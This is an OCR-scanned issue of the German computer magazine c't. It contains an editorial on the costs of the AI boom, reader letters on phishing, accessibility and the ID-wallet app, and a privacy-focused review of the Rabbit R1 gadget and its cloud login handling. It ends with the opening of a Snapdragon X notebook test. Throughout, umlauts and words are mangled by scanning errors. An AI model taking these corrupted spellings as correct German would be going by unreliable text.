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Standpunkt

Ohne Ricksicht auf Verluste

Wenn Goldgréaberstimmung aufkommt, profitieren
nicht die Goldgraber, sondern die, die Schaufeln
verkaufen — besser ldsst sich die Situation in
der jetzigen KI-Welt nicht zusammenfassen. Jeder
will KI anwenden und irgendwo reinprigeln. Sehr
zum Vorteil eines Unternehmens wie Nvidia, das
den Grofiteil der bendtigten Hardware stellt und
damit raketengleich an die Spitze der wertvolls-
ten Unternehmen der Welt aufgestiegen ist.

Klar, der Hype ist grof3 und es gibt Gebiete, in
denen KI absolut sinnvoll ist. Zum Beispiel ist
die Offline-Instanz von OpenAIls Whisper super,
die im Handumdrehen Interviews transkribiert.
Doch KI hat Schattenseiten, die viel zu oft
ibergangen oder schdngeredet werden.

So wie am Klondike verliert mancher jeglichen
Anstand und sieht vor Dollarzeichen in den
Augen nicht die Copyright- und Datenschutz-
verletzungen, die er fabriziert. Zum Beispiel
mit Bildgeneratoren, die das gesamte Internet
nach Bildern abgrasen, kategorisieren und somit
Kinstlern nicht nur das Leben schwermachen,
sondern auch noch ihre Kunst klauen. Mit Sprach-
modellen, die samtliche Eingaben zum Trainieren
wiederverwenden. Oder mit Webscrapern, die das
Internet durchwihlen und auch nicht Halt machen
vor Seiten, die das gar nicht wollen.

Zusdtzlich fluten im KI-Goldrausch zwielichtige
Start-ups den Markt mit sinnlos teuren Produkten,
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pappen ein grofles KI-Logo drauf und versprechen
die Revolution, die die Welt rettet. Nach Block-
chain, Web3 und NFTs missen die Investoren ja
irgendwo ihre Millionen verbrennen.

All diese unndétigen KI-Projekte schaden zudem im
groBen MaBe der Umwelt: KIs sind energiehungrige
Kreaturen, die Strom und Wasser verschlingen.
Dieser Konsum wird auch nicht so schnell
aufhoren, sondern im Gegenteil weiter ansteigen.
Wie zwei Paper befilirchten, kénnten KIs bis 2027
so viel Wasser wie vier bis sechs Danemarks ver-
brauchen und so viel Strom wie die ganzen Nieder-
lande. Alleine das Trainieren von Chat-GPT3 hat
beispielsweise 700.000 Liter Wasser verbraucht.
Es ist wie damals, als Goldgraber in ihrer Gier
Walder abholzten und Flisse verunreinigten. Es
kann einfach nicht sein, dass 128 Jahre spéater
die gleichen Fehler erneut begangen werden, nur
damit man mit zwei S&tzen ein goldiges Bild
generieren kann. Das muss aufhdren.

@wn Dr (H\J@

Wilhelm Drehling
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Leserforum

Keine E-Mails mit Links

Banken vs. Phishing: Fiir Menschen, bitte!,
c't16/2024, S. 3

Solange Banken E-Mails mit Links verschi-
cken, die sich kaum von Phishing-Mails
unterscheiden, braucht man sich nicht zu
wundern, dass viele auf Phishing herein-
fallen. Ich spreche danicht nur von PayPal,
sondern auch von Banken, die sich fiir se-
rios halten. Frither gab es mal Banken, die
ihren Kunden sagten, sie wiirden niemals
E-Mails mit Links schicken, sollte man also
eine solche bekommen, kime die definitiv
nicht von der Bank. Ich frage mich, ob es
das heute noch gibt.

twm il

Weniger Angriffsflache

Das Grundproblem bei HTML-Mails ist,
dass der Angreifer viel mehr Moglichkei-
ten hat, den Inhalt und die Funktion zu
definieren - auch unabhéngig voneinan-
der. Wenn sich der Kunde davor schiitzen
will, miisste er erst einmal die HTML-
Grundlagen verstehen und hitte dann bei
jedem Link, den ihm die Bank zuschickt,
grofde Miihe, ihn zu verifizieren. Fiir circa
zwei Prozent aller meiner Bekannten ist
dies tiberhaupt tatsichlich machbar, beim
Rest kommt es nur aufs Bauchgefiihl an,
dasheifdt eine gut gemachte Phishing-Mail
reicht aus. Text-Mails mdgen als hisslich
empfunden werden, aber sie bieten we-
sentlich weniger Angriffsfliche.

7eggert il

Negative Trends

Leserbrief ,Problematische Touchdisplays”,
c't16/2024, S. 10

Beziiglich des Leserbriefs {iber Touch-
screen-Terminals fiir Blinde habe ichnoch
zwei Punkte hinzuzufiigen. Bei manchen

Fragen zu Artikeln

M  Bitte senden Sie uns
lhre Fragen per E-Mail
an die Adresse des
Redakteurs, die am Ende
des Artikels steht.

Geriten soll eine Schablone mitgeliefert
werden, welche es ermdglichen soll, dass
auch ein blinder Benutzer seine PIN auf
einen solchen Touchscreen eingeben
kann.

Esgibt aber einen weiteren negativen
Trend, der auch nicht mit der Benutzung
einer Schablone bewailtigt werden kann.
Esgibt Terminals, beidenen die Tasten fiir
die PIN-Eingabe nicht mehr in der tibli-
chen Anordnung angezeigt werden. Sie
werden dagegen in einer willkiirlichen
Reihenfolge angezeigt, um das Ausspiahen
der PIN durch andere Personen zu er-
schweren. Auf einem solchen PIN-Pad ist
es fiir eine blinde Person unméglich, eine
PIN einzugeben.

Jochen Schmitt N4

Ersatzlosungen

Berliner Open Source Tag buhlt um deutsche
Verwaltung, c't 16/2024, S. 34

Esfallt wieder auf, dass man anscheinend
nach Ersatzlosungen fiir Produkte sucht,
anstatt Stellen und Arbeitsplétze auf pas-
sende Losungen zu priifen. Mit Nextcloud
und LibreOffice kann weder ein Kfz zu-
gelassen noch ein Meldevorgang oder
viele andere Aufgabe des Biirgerbiiros
erledigt werden. Office kann und darfnur
da zum Einsatz kommen, wo hochflexible
Aufgaben, manuelle Vorginge oder Aus-
nahmen zu erledigen sind. Eine grof3e Zahl
der Mitarbeiter in deutschen Verwaltun-
gen braucht kein oder nur selten Office-
Produkte.

Wenn allein diese spezialisierten An-
wendungen unter Linux sauber ausgerollt
wiirden und damit liefen, miisste doch
schonviel gewonnen sein. Wenn am Ende
ein paar Prozent der Arbeitsplitze mit
Windows iibrig bleiben, darf dadurch der
Rest nicht behindert werden.

Andre Biisen M4

Nehmen und anpassen

EUDI-Wallet: Die Debatte um die deutsche
Personalausweis-App, c't 16/2024, S. 120

Wenn das in Dianemark und Osterreich
funktioniert, warum nicht einfach das Sys-
tem von dort nehmen und anpassen?
Warum muss man immer alles selbst neu
erfinden (siehe Autobahnmaut, ICE), mit

Bild: KI Midjourney | Collage c't

Die Leser haben eine Meinung zur
Personalausweis-App: Warum alles
tibergriindlich neu machen, statt Be-
wahrtes anzupassen und zu nutzen?

dem Hintergedanken ,,dasist technisch so
brillant, das verkaufen wir ins Ausland?
Am Ende will es doch keiner, weil es zu
teuer oder zu kompliziert ist, schlicht
»German overengineering at its best".

Rolf Wilhelm Ijll

Sichere Wallets nutzen

Warum brauchen wir tiberhaupt wieder
eine neue eigene App? Andere Linder nut-
zen die hardwaregestiitzten Wallets der
Systeme selbst. Die bieten bereits eine so
hohe Sicherheit, dass da auch virtuelle
Kreditkarten und andere Zahlkarten quasi
ohne Zahlungslimit (limitiert auf den De-
ckungsrahmen) drin liegen und andere
Lander auch Ausweise da reinpacken. Ich
bin nicht sicher, ob die Regierung das si-
cherer hinbekommt als mit der Hardware-
unterstiitzung und Verankerung im Be-
triebssystem.

CityHunter il

Zertifikat ohne teures Abo

Ich mochte, dass ich mit der App auch ein
Zertifikat erzeugen kann, das es mir er-
laubt, elektronische Dokumente und E-
Mails zu signieren. Die Anforderung hin-
sichtlich digitaler ID wird immer massiver
kommen. Ichfinde es ein Unding, dassich
dafiir ein teures Abo bei einem kommer-
ziellen ,Vertrauensdiensteanbieter® ab-

c't 2024, Heft 17
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Leserforum

Abonnenten lesen Artikel
digital und vorab

Das c't-Abo bietet lhnen viele Vorteile.
So kénnen Abonnenten viele c't-Artikel
im Webbrowser lesen, meist sogar
bevor das Heft im Briefkasten liegt.
Dazu gentigt ein kostenloser Account
bei heise online, den Sie allerdings
noch mit Ilhrem c't-Abo verknlpfen
mussen. Sollten Sie noch keinen heise-
online-Account haben, legen Sie die-
sen unter heise.de/s/6EEjZ an. Unter
heise.de/s/lwwY2 verknlpfen Sie Ihren
Account mit Ihrem Abo. Danach kon-
nen Sie die mit ,c’t Magazin” gekenn-
zeichneten Artikel auf heise.de/plus
lesen, solange Sie mit dem verkniipften
Account angemeldet sind.

Um Ihnen das Auffinden der c't-
Artikel auf heise+ zu erleichtern, stellen
wir sie jeden Dienstag im Club-News-
letter flr unsere Abonnenten zusam-
men. Falls Sie diesen noch nicht erhal-
ten, konnen Sie ihn unter heise.de/s/
WxxOe bestellen.

Accountverwaltung und Newsletter-
anmeldung: ct.de/yzs2

schliefSen soll. Wir finanzieren schon
einen Vertrauensdiensteanbieter: Es ist
der Staat, der konventionelle Ausweisdo-
kumente ausstellt und die Authentizitét
sicherstellt. Warum das beim elektroni-
schen Ausweis anders sein soll, insbeson-
dere wenn es gesetzlich verlangt wird,
erschlief3t sich mir nicht.

embeddednerd il

Ins offene Messer

Projekt DestinE zeigt Wetter und Klimawandel auf ein
paar Hundert Meter genau, c't 16/2024, S. 138

Das liest sich beeindruckend. Ich hoffe
auch, dass sich daraus tatsichlich Abhilfen
generieren lassen. Das Problem am Klima-
wandelistjanicht die Vorhersage, sondern
dass niemand was dagegen tut. Wir sind
gefiihltimmernoch alle im Modus ,,weiter
wie bisher - zumindest die meisten.
Wennich eine Vorhersage habe, aber trotz-
dem sehenden Auges ins offene Messer
laufe, hitte man sich die Vorhersage viel-
leicht auch sparen konnen.

Sebastian Wedekind M

Krone der Schopfung

KI-Technik als zweifelhafter Messias, c’t 15/2024, S. 3

TIhren Standpunkt teile ich umfénglich. Ich
bin seit Jahrzehnten im Schulungs- und
Supportbereich fiir Finanzsoftware titig:
je grofler die Organisationsdefizite, desto
lauter der Rufnach (Er-)Losung durch die
Software.

Ebenfalls jahrzehntelang ging es in
der Gestaltung der Benutzeroberfliache
darum, immer anwendungsfreundlicher
zu werden, strukturierter, organisierter
- besser eben. Seit Jahren wird der Spiefs
umgedreht: Der Anwender soll nicht
mehr strukturiert arbeiten, denken und
wissen, wo seine Daten liegen, wie sie
verarbeitet werden, wie er sie wiederfin-
det, sondern alles soll er der (er-)losen-
den Software iberlassen (Cloud und Rib-
bons sei Dank). Jetzt auch noch in Form
der KI.

Kurzum: Der Anwender wird dank KI
und bevormundender Systeme immer
mehr dumm gehalten und wird am Ende
immer diimmer (siehe einschlédgige Er-
kenntnisse aus der Hirnforschung). Wem
es nichts ausmacht, eine Zacke nach der
anderen aus der Krone (der Schopfung) zu
verlieren - bitte schon. Dabei ist doch be-
kanntermafden der Gebrauch der Grof3-
hirnrinde das wesentliche Merkmal, das
den Menschen als sogenannte ,,Krone der
Schopfung® auszeichnet.

Alois Guckenbiehl M

Hifreicher Anruf

CDU-Parteizentrale per Zero-Day-Sicherheitsliicke
gehackt, c't 15/2024, S. 36

Zum Artikel tiber den Angriffaufdie CDU
erhieltunser Unternehmen von der Krimi-
nalpolizei K6ln KK35 (Abt. Cybercrime)
nach gut drei Wochen einen Anruf mit
einer Warnung. Gliicklicherweise hatte
unser IT-Dienstleister bereits kurz nach
dem Angriff beziehungsweise dessen Be-
kanntwerden die entsprechenden Schritte
eingeleitet.

Uberraschend, aber tatsichlich hilf-
reich fand ich den Anruf der Kripo schon.
Nattirlich denkt man, dass auch dieser
Anrufein Fake hatte sein konnen, tatsach-
lich habe ich aber iiber die offizielle Num-
mer der Polizei zurlickgerufen und den
Ansprechpartner in der entsprechenden
Abteilung erreicht.

Riidiger Zens ™4

Erganzungen &
Berichtigungen

Tempolimits und Community-Karten

Navi-Apps mit Android Auto und Apple CarPlay im
Test, c't 15/2024, S. 96

Apple Karten bietet, anders als im Artikel
angegeben, eine Anzeige des Tempolimits,
wenn die zugehorigen Streckenabschnitts-
daten vorhanden sind. Sie war auf unseren
Testgeraten lediglich in den App-Einstel-
lungen von i0S deaktiviert. Au3erdem
stammt das Kartenmaterial in Waze von
der Community, nicht von Google. Google
Maps wird lediglich als Overlay fiir den
Waze-Karteneditor im Web verwendet.

Zotero und OneNote knnen mehr

Notizen wissenschaftlich organisieren im digitalen
Zettelkasten, c't 16/2024, S. 150

In der Tabelle sind folgende Angaben
falsch: Zotero kann auch Backlinks setzen.
OneNote speichert seine Daten auch lokal
und kann Plug-ins einbinden (Microsoft
listet 26 auf).

Artikel verschoben
Vorschau , Barrierefreie Websites”, c't 16/2024, S. 178

Aus redaktionellen Griinden haben wir
denfiir dieses Heft angekiindigten Artikel
zum Barrierefreiheitsstirkungsgesetz ver-
schoben. Er erscheint in einer der kom-
menden Ausgaben.

Wir freuen uns tliber Post

redaktion@ct.de

c't Forum

c't Magwazin

@ctmagazin

ct_magazin

@ct_Magazin

E@QXE'({

c't magazin

Ausgewahlte Zuschriften drucken
wir ab. Bei Bedarf klrzen wir sinn-
wahrend.

Antworten sind kursiv gesetzt.

Anonyme Hinweise
https://heise.de/investigativ
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Test & Beratung | Kl-Helfer Rabbit R1

Folge dem
weilBen Kaninchen

Rabbit R1: KI-Agenten

kontra Datenschutz

Flir gerade mal 200 Euro liefert
der US-Hersteller Rabbit sein
leuchtoranges KI-Wundergerat
R1 seit kurzem auch nach
Deutschland. Per Sprachanwei-
sung soll es mithilfe von KI-
Agenten nahezu beliebige Dinge
erledigen kénnen. Wir haben
uns darauf eingelassen und
nicht schlecht gestaunt. Es
macht vieles anders, auch beim
Datenschutz.

Von Ronald Eikenberg

Stellen Sie sich vor, Sie hitten einen
personlichen Assistenten, der Thnen
die zeitraubenden Aufgaben des Alltags
abnimmt: Reisen buchen, Excel-Tabellen
bearbeiten, Essen bestellen, bei Amazon
einkaufen und vieles mehr. Er wire stets
ein guter Ratgeber, kann fast alle Spra-
chen fliefSend tibersetzen und weif3, ob
Thre Schuhe zum Outfit passen und was
Sie aus den Resten in Threm Kiihlschrank
zaubern konnen.

All das soll ein neues KI-Gadget na-
mens Rabbit R1 langfristig leisten - fiir
gerade mal 200 Euro, ohne Abo. Das
leuchtorange Gerit kombiniert verschie-
dene moderne KI-Fihigkeiten miteinan-
der, um seinem Nutzer ein flexibler All-
tagshelfer zu sein. Statt mit Apps zu han-
tieren, halt man einfach den Knopfaufder
rechten Seite gedriickt und sagt dem R1,
was es tun soll, wie bei einem Walkie-Tal-
kie. DasR1 antwortet darauf'ebenfalls per
Sprache und per Text auf dem Display.

Das weifde Kaninchen auf dem Bild-
schirm kann nicht nur héren und spre-
chen, sondern auch sehen. Als Auge fun-
giert eine motorisierte Kamera, die sich

12

selbststdndig entweder nach vorn (wie
eine Selfie-Kamera) oder nach hinten
dreht. Wird sie nicht verwendet, zeigt sie
ins Gerat und ist blind. Mit ihr kann man
dem R1 Fragen zu beliebigen Dingen in
der Umgebung stellen, etwa zum eigenen
Outfit oder zum Kiihlschrankinhalt.

Die ganze Magie geschieht in der
Cloud, denn das KI-Gadget ist nicht be-
sonders rechenstark. In dem schicken Ge-
hause steckt die Hardware eines Einstei-
gersmartphones. Als Betriebssystem dient
ein Android, das ausschlieRlich die Rabbit-
App ausfiihrt. Kontakt zur Cloud sucht das
Gerit iiber WLAN und LTE.

Seine Intelligenz verleiht dem R1 ein
Potpourri an KI-Clouddiensten, die der
Hersteller geschickt miteinander kombi-
niert. Nach eigenen Angaben kooperiert
er mit OpenAl (ChatGPT), Anthropic
(Claude), ElevenLabs (Text-to-Speech)
und Perplexity (Echtzeitwissen). Zudem
kann das R1 etwa auf Wolfram Alpha zu-
greifen.

KI-Modell erledigt Aufgaben

Der eigentliche Star der Show ist jedoch
eine Eigenentwicklung von Rabbit: das
Large Action Model (LAM). Dieses KI-Mo-
dellist darauftrainiert, selbststaindig Web-
sites und Apps zu bedienen. Um zum Bei-
spiel den glinstigsten Flug zu finden,
wirde das LAM die Preisvergleichsseite
in einem Browser in der Cloud 6ffnenund
mit den Wiinschen des Nutzers fiittern.
Das Suchergebnis prisentiert es anschlie-
3end dem Nutzer. Entscheidet er sich fiir
einen Flug, fithrt das LAM die Buchung in
seinem Namen durch.

Wegen seiner Fahigkeit, Bedienober-
flichen zu steuern, ist das LAM universell
einsetzbar und nicht darauf angewiesen,
ob ein Dienst eine API bereitstellt. Damit
es eine bestimmte Website oder App be-
dienen kann, muss es jedoch konkret da-
rauftrainiert werden. Der Hersteller arbei-

Bild: rabbit

tet derzeit an einem Lernmodus, mit dem
jeder Nutzer das LAM selbst trainieren
konnen soll, indem er der KI die Bedie-
nung der Website einfach vorfiihrt.

Derzeit kann man aber nur eine Hand-
voll Dienste verwenden, die der Hersteller
der KI bereits antrainiert hat: die Strea-
mingplattformen Spotify und Apple Music,
denKI-Bildgenerator Midjourney und den
KI-Songgenerator Suno. Der Fahrdienst
Uberund der Lieferdienst DoorDash sind
ebenfallsim Programm, aber hierzulande
nicht nutzbar.

Wir haben Fragen

Dabei drangen sich zwangsldufig Fragen
nach dem Datenschutzund der Sicherheit
auf. Essenziell wichtig ist vor allem der
Schutz der Zugangsdaten: Damit die Rab-
bit-Cloud-KI irgendwann fiir den Nutzer
bei Amazon einkaufen kann, muss sie auf
sein Amazon-Konto zugreifen. Um Musik
bei Spotify abzuspielen, braucht sie den
Spotify-Account und so weiter.

Wir haben das KI-Gadget in die Re-
daktion bestellt, um uns selbst ein Bild
davon zumachen. Zunichst zur Hardware:
Das R1 ist etwa halb so grofd wie ein her-
kommliches Smartphone, wiegt nur 115
Gramm und ist gut verarbeitet. Auch das
Design sagte uns zu, es stammt von der
angesagten schwedischen Designschmie-
de Teenage Engineering. Etwas gewoh-
nungsbediirftig war, dass die Bedienung
fast komplett per Sprache lauft; Touch-
screen und Scrollrad des R1 haben nur
selten eine Funktion.

Das Gerit beantwortete unsere Fra-
gen ziigig und prazise, sofern wir sie auf
Englisch stellten. Deutsch versteht esnoch
nicht. Auch der separate Kameramodus
funktionierte gut. Besonders niitzlich fan-
den wir den Dolmetschermodus, der auch
lingeres Geplauder zuverlassig in die ge-
winschte Zielsprache tibersetzte. Zudem
kann der R1 als Audiorekorder arbeiten.
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Hinunter in den Kaninchenbau

Aber nun zum Elefanten im Raum, dem
Large Action Model und dessen Sicherheit.
Um uns einen Eindruck davon zu verschaf-
fen, haben wir die Spotify-Anbindung ein-
gerichtet. Hierzu mussten wir uns auf der
Hersteller-Website in das ,,Rabbithole” ein-
loggen, der zentralen Anlaufstelle fiir R1-
Besitzer. Das Konto dafiir hatten wir schon
im Vorfeld eingerichtet - ohne lisst sich das
Gerit gar nicht erst in Betrieb nehmen. In
der Datenschutzerklarung wird klar: Man
betritt mit seinen Daten US-Terrain.

Im Rabbithole findet sich ein durch-
suchbares Journal mit allen aufgezeichne-
ten Aktivitidten: Fragen und Antworten,
geknipsten Fotos, Audioaufzeichnungen
und so weiter. Die tiber das LAM steuer-
baren Dienste konfiguriert man unter
»Connections®. Als wir bei Spotify auf
,Connect account” klickten, 6ffnete sich
die Spotify-Login-Seite (accounts.spotify.
com) - so weit, so gewohnlich.

Die Spotify-Seite erschien jedoch
nicht in einem neuen Browser-Tab, son-
dern innerhalb des Rabbithole. Eine Ana-
lyse der Website-Bausteine zeigte, dass es
sich nicht um ein iFrame handelte, son-
dern um eine VNC-Verbindung (Remote
Desktop) iiber den HTML5-ClientnoVNC.
Wir blickten also auf einen virtuellen
Rechner in der Cloud, der die Spotify-
Website in seinem Chrome-Browser ge-
offnet hatte.

Schutzkonzept

Dies ist durchaus heikel, denn dieser
Rechner konnte samtliche Texteingaben
- Benutzername und Passwort - im Klar-
text mitlesen. Je nachdem, wie man den
Musikdienst eingerichtet hat, sind das ent-
weder die Zugangsdaten zum Spotify-Ac-
count oder fiir das Konto bei Apple, Google
oder Facebook.

Rabbit ist sich des Problems bewusst
und versucht, in seinem Blog mit techni-
schen Details tiber die Cloud-Infrastruk-
tur (siehe ct.de/y8mf) Vertrauen zu schaf-
fen. Demnach speichern die Cloudrechner
keine Zugangsdaten, sondern warten auf
Session-Cookies, die der jeweilige Dienst
nach dem Einloggen schickt.

Sobald der Cloudrechner ein Session-
Cookie entdeckt hat, speichert er es ver-
schliisselt bei einer externen Spezialfirma.
Rabbit merkt sich nur ein Token, um das
Cookie dort wiederfinden zu konnen,
wenn es wieder gebraucht wird.

Danach werde der Cloudrechner, ge-
nauer gesagt ein Container, zerstort. Soist
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sichergestellt, dass ein Keylogger, den ein
Angreifer eventuell in seinem Container
platzieren konnte, nicht iiberlebt. Neue
Container werden stets von einem saube-
ren Base-Container provisioniert. Zudem
seien die Container sicher voneinander
isoliert.

Vertrauensvorschuss

Auch wenn wir keinen Anlass sehen, an
den Angaben des Herstellers zu zweifeln:
Die Verwendung dieser Funktion setzt
einen enormen Vertrauensvorschuss vor-
aus. Wir haben uns fiir diesen Artikel da-
rauf eingelassen und unsere Spotify-
Zugangsdaten eingetippt. Anschlief3end
konnten wir Musik mit dem Rabbit R1
horen, die offenbar von einem Cloudrech-
ner gestreamt wurde, auf dem der Web-
Player geoftnet war.

Ein flaues Gefithl im Magen blieb
aber. Auch Spotify fand die ganze Sache
komisch, weil wir gleichzeitig aus unserer
Heimat Hannover und New York, dem
Standort des Cloudrechners, eingeloggt
waren. Als Konsequenz sperrte der Dienst
vorsichtshalber unser Passwort. Nachdem
wir es gedndert und erneut bei Rabbit ein-
gegeben hatten, spielte die Musik weiter.

Wie schnell etwas schiefgehen kann,
zeigte sich erst Ende Juni: Die auf den R1
spezialisierten Hardware-Hacker von Rab-
bitude konnten Zugriff auf geheime API-
Schliissel fiir verschiedene Dienste erlan-
gen, die Rabbit im Hintergrund verwendet
(siehe ct.de/y8mf). Da auch der Schliissel
fiir den Text-to-Speech-Dienst ElevenLabs

b ¥ rabbithole - connections

« » ¢

rabbithole

Kl-Helfer Rabbit R1 | Test & Beratung

darunter war, hiatten die Hacker nach eige-
nen Angaben auf' samtliche Sprachantwor-
ten zugreifen konnen, die die R1-Gerite
jemals gegeben haben. Nachdem sie den
Hersteller dariiber informiert hatten,
tauschte er die Schliissel aus. Er will seine
API-Schliissel kiinftig besser schiitzen.

Fazit

Das Rabbit R1 macht durchaus Spaf3:
Knopfgedriickt halten, Frage stellen, Ant-
wort lauschen. So ist KI viel zugédnglicher
alsiiber eine Smartphone-App. Der Kame-
ramodus liefert oft niitzliche Tipps, etwa
wie eine bestimmte Pflanze zu pflegen ist,
und als Universaliibersetzer ist der R1 ein
guter Reisebegleiter.

Gegen das KI-Kaninchen sprechen
Datenschutzbedenken: Das R1 ist abhin-
gigvon der US-Cloud und schickt zwangs-
laufig personliche Daten, Fotos, Sprach-
mitschnitte und so weiter dorthin. Insbe-
sondere die Verwendung von Spotify & Co.
setzt viel Vertrauen voraus, da man seine
Zugangsdaten auf einem fremden Rech-
ner eintippen muss.

Dennoch gibt das Large Action Model
einen spannenden Ausblick auf einen All-
tag mit sogenannten KI-Agenten, die lis-
tige Aufgaben fiir ihre Nutzer erledigen
konnen. Sollte der angekiindigte Lernmo-
dus wie versprochen funktionieren, konn-
te man den KI-Kumpel auf nahezu belie-
bige Jobs trainieren. (rei@ct.de) c

Produktseite & Security-Infos:
ct.de/y8mf

2% holerabbit.te

sattings

connhections

connect services to your r for music streaming, ride sharing, and more.

music

ride share

Im ,,Rabbithole”
kann man eine
Handvoll Dienste
fiir die Verwendung
mit dem KI-Gadget
verkniipfen.
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KI-Notebooks

Zehn Windows-Notebooks mit Copilot+ und
Qualcomms ARM-Prozessor Snapdragon X
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Notebooks mit Snapdragon X | Titel

Die ersten Windows-Notebooks, die Microsofts
KI-Vision hinsichtlich Copilot+ entsprechen,
driicken in den Markt - und zwar nicht mit
CPUs von AMD oder Intel, sondern von Qual-
comm. c't hat sowohl die Gerate als auch die
zugehorigen Versprechen hinsichtlich moder-
ner Kl-Tools, ewiger Akkulaufzeiten und riick-
wirkender Softwarekompatibilitat auf den Priif-

stand gestelit.

Von Florian Miissig

icrosoft Vision fiir das Windows

der Zukunft und die damit aus-

gestatteten Notebooks hat wenig
iiberraschend viel mit KI zu tun. Alles an-
dere als gewohnlich ist allerdings der
Hardwarepartner, mit dem diese Vision
wahr gewordenist: Alle KI-Notebooks, die
das neue Marketing-Label Copilot+ tra-
gen, werden nicht von AMD- oder Intel-
Prozessoren angetrieben, sondern von
Qualcomms Snapdragon X - also einer
CPU mit ARM- statt x86-Befehlssatz.

Notebooks mit Windows und ARM-
Prozessor gibt es schon seit 2018, doch
bislang war ihnen nicht viel Erfolg be-
schieden: Die CPUs waren langsam und
noch lahmer, wenn etablierte x86-Soft-
ware in einer zwischengeschalteten Emu-
lationsschicht lief. Anfangs verstand sich
diese nur auf 32-Bit-Emulation; neuere
64-Bit-x86-Anwendungen brachte erst
Windows 11 auf ARM-Chips ans Laufen.
Qualcomm versteifte sich deshalb auf Kiir-
Argumente wie integrierten Mobilfunk,
die die Pflicht-Nachteile aber nicht kom-
pensieren konnten.

Doch mit all dieser unrithmlichen His-
torie hat das, was dieser Tage an neuen
Notebooks mit Snapdragon X Elite und
Snapdragon X Plusin den Handel kommt,
nur noch wenig zu tun. Allein die schiere
Anzahl an Debiitanten zeigt schon, dass
sich etwas gedndert haben muss. Wir
haben zehn solcher Notebooks an Land
gezogen: Asus VivoBook S 15 (S5507Q),
Dell XPS 13 (9345), HP OmniBook X Al 14
(fe0), Lenovo ThinkPad T14s Gen 6, Le-
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novo Yoga Slim 7x (14Q8X9), Microsoft
Surface Laptop 7 13,8", Microsoft Surface
Laptop 7 15", Microsoft Surface Pro 11,
Samsung Galaxy Book4 Edge 14" und
Samsung Galaxy Book4 Edge 16". Sie sind
alle in der zweiten Junihilfte in den Han-
del gekommen; weitere sollen in den
nachsten Wochen und Monaten erschei-
nen.

ARM und x86

Alte Argumente gegen Windows-Note-
books mit ARM-CPU ziehen kaum noch.
Da Apple sein Okosystem in den letzten
Jahren von x86 auf ARM umgestellt hat,
mussten sich Softwarehersteller zwangs-
laufig mit ARM-CPUs auseinandersetzen.
Dies kommt jetzt auch der Entwicklung
von Windows-Versionen derselben An-
wendungen zugute. Windows 11 selbst ist
auf allen Notebooks in Version 24H2 vor-
installiert; alle PCs und Notebooks mit
x86-CPUs bekommen diese Version erst
im Herbst.

Die Emulationsschicht fir (altere)
Anwendungen, die weiterhin in x86-
Code vorliegen, wurde mit Windows 11
24H2 verbessert und soll jetzt auf dem
Niveau von Apples Rosetta 2 liegen. Pro-
zentgenaue Angaben, wie gut die Prism
getaufte Zwischenschicht arbeitet, halten
wir fiir triigerisch beziehungsweise erfor-
dern detaillierte Fufdnoten, wie umfas-
send gemessen wurde: Jede Anwendung
kann andersreagieren. In unseren ersten
Gehversuchen auf den Snapdragon-X-
Notebooks waren wir allerdings positiv
iberrascht, dass viele Anwendungen ein-
fachliefen-die Berufspessimisten beic’t
hatten im Vorfeld etwas anderes befiirch-
tet.

Zudem: Wenn eine Anwendung so alt
ist, dass Entwickler sie nicht mehr anfas-
sen, dann stehen die Chancen hoch, dass
ihr Bedarf an CPU-Performance bereits
von Notebooks erfiillt wird, die vor 2020
erschienen sind. Seitdem haben alle Note-
book-Prozessoren massiv an Rechenleis-
tung zugelegt, auch Snapdragon X spielt
ganzvorne mit. Damit sind die Vorausset-
zungen gegeben, dass dltere Applikatio-
nen aufden neuen ARM-Notebooks selbst
bei konzeptionell leistungsfressender
Emulation mindestens so schnell laufen
wie auf dlterer Hardware.

In vielen Fallen wie der anno dunne-
mals in Turbo Pascal geschriebenen Soft-
ware zur Vereinsverwaltung ist praktisch
nur relevant, dass sie iberhaupt weiterhin
lauft. Ob das der Fall ist, kann nur ein in-
dividueller Test klaren. Solange keine be-
sonderen Sicherheitskomponenten oder
Hardwaretreiber Teil des Gesamtpakets
sind, stehen die Chancen unserer Erfah-
rung nach sehr hoch, dass einfach alles
funktioniert.

Selbst speziellere Anforderungen
miissen kein Todesstof sein. Die Banking-
Anwendung StarMoney 14 liefin unserem
Test emuliert, ohne zu motzen. Fiir den
Smartcard-Leser CyberJack RFID Kom-
fort kam zwar kein ARM-kompatibler
Treiber per Windows Update rein, doch es
gibt einen auf der Support-Webseite vom
Hersteller ReinerSCT. Das im Treiberpa-
ket enthaltene Hilfsprogramm fand sogar
ein Firmware-Update fiir den Kartenleser
und spielte dieses problemlos ein. Viele
Netzwerkdrucker im c’t-Bestand lief3en
sich ebenfalls in Betrieb nehmen, auch
Multifunktionsdrucker inklusive Scanner.
Umgekehrt lief Googles App zum Einbin-
den des Cloudspeichers Google Drive
nicht.

Schnelle Kerne

Dass Snapdragon-Prozessoren fiir Win-
dows-Notebooks friiher ein Performance-
problem hatten, lag daran, dass Qual-
comm CPU-Kerne vom Lizenzgeber ARM
verwendet hat -und die waren eben nicht
konkurrenzfihig gegeniiber dem, was
AMD, Intel und Apple zeitgleich zu bieten
hatten. Beim Snapdragon X kommt dhn-
lich wie bei Apples M-Prozessoren nun
eine Eigenentwicklung zum Einsatz: die
Oryon-Kerne. Diese stammen vom Start-
up Nuvia, welches Qualcomm vor einiger
Zeit iibernommen hat. Das ehemalige
Team von Nuvia setzt sich aus Ingenieuren
wie Gerard Williams III zusammen, der

15



Titel | Notebooks mit Snapdragon X

just zuvor bei Apple gearbeitet und dort
federfithrend die ARM-Kerne fiiriPhones
mitentwickelt hat.

Den Snapdragon X gibt esin vier Aus-
fithrungen: das Topmodell Snapdragon X
Elite X1E-84-100, den hinsichtlich Takt-
raten abgespeckten Snapdragon X Elite
X1E-80-100, den Snapdragon X Elite X1E-
78-100 ohne Single-Threading-Turbo und
den Snapdragon X Plus X1P-64-100, der
dem 78er dhnelt, aber nur zehn CPU-Ker-
ne hat. Alle Elite-Modelle sind hingegen
Zwolfkerner. Welcher Anwender das Zah-
lenkuddelmuddel entschliisseln soll, weifd
wohl nur Qualcomm.

Um die Leitungsfihigkeit differen-
ziert betrachten zu konnen, muss man eine
weitere wichtige Kenngrofie einbeziehen,
nimlich die zuldssige Abwarme (Thermal
Design Power, TDP). Anders als AMD
oder Intel macht Qualcomm selbst keine
Angaben zur vorgesehenen TDP. Die TDP-
Fenster sind aber auch in der x86-Welt so
breit, dass die Zahlen im Datenblatt allen-
falls ein grobes Indiz sind: Wie viel Per-
formance ein Notebookprozessor tatsich-
lich abliefert, hingt davon ab, wie grofd der
Notebookhersteller das Kiihlsystem des
konkreten Modells dimensioniert.

